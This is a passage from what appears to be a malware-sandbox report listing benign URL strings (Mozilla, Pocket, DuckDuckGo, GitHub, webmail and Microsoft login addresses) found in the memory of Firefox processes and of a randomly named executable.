Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000018.00000002.2886166420.0000180E51A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000018.00000003.2659017231.000002BA5991F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2889988240.000035F0F6404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59FAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2890720669.0000372F1F704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2878984131.000002BA61F57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59F56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000018.00000002.2881483129.000002BA63435000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2806911409.000002BA57138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2663208610.000002BA57133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2797233592.000002BA55A7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000018.00000002.2886166420.0000180E51A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2806911409.000002BA57138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2663208610.000002BA57133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sresource://gre/modules/handlers/HandlerList.sys.mj
Source: firefox.exe, 00000018.00000002.2842712823.000002BA5B9B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2864606177.000002BA5D403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A712000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000018.00000003.2742255243.000002BA5A163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000018.00000002.2889075369.00002786E1B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2864606177.000002BA5D403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A712000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2864606177.000002BA5D403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A72F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000018.00000002.2874426589.000002BA61B84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2725783431.000002BA61B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2723839104.000002BA61B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000018.00000002.2874426589.000002BA61B84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2725783431.000002BA61B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2723839104.000002BA61B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000018.00000003.2659017231.000002BA5991F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotschrome://browser/content/parent/ext-windows.js
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000018.00000002.2886166420.0000180E51A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000018.00000002.2792299128.000002BA49C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000018.00000002.2794739483.000002BA554AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C53C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2795803239.000002BA555BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B765000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B75A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2878984131.000002BA61F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000018.00000002.2822642036.000002BA5A07A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%resource://gre/modules/compone
Source: firefox.exe, 00000018.00000002.2841657939.000002BA5B88F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2827730700.000002BA5A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000018.00000003.2737226174.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2854854049.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2728347300.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000018.00000003.2733288614.000002BA5C08B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2737226174.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2854854049.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C08B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2728347300.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
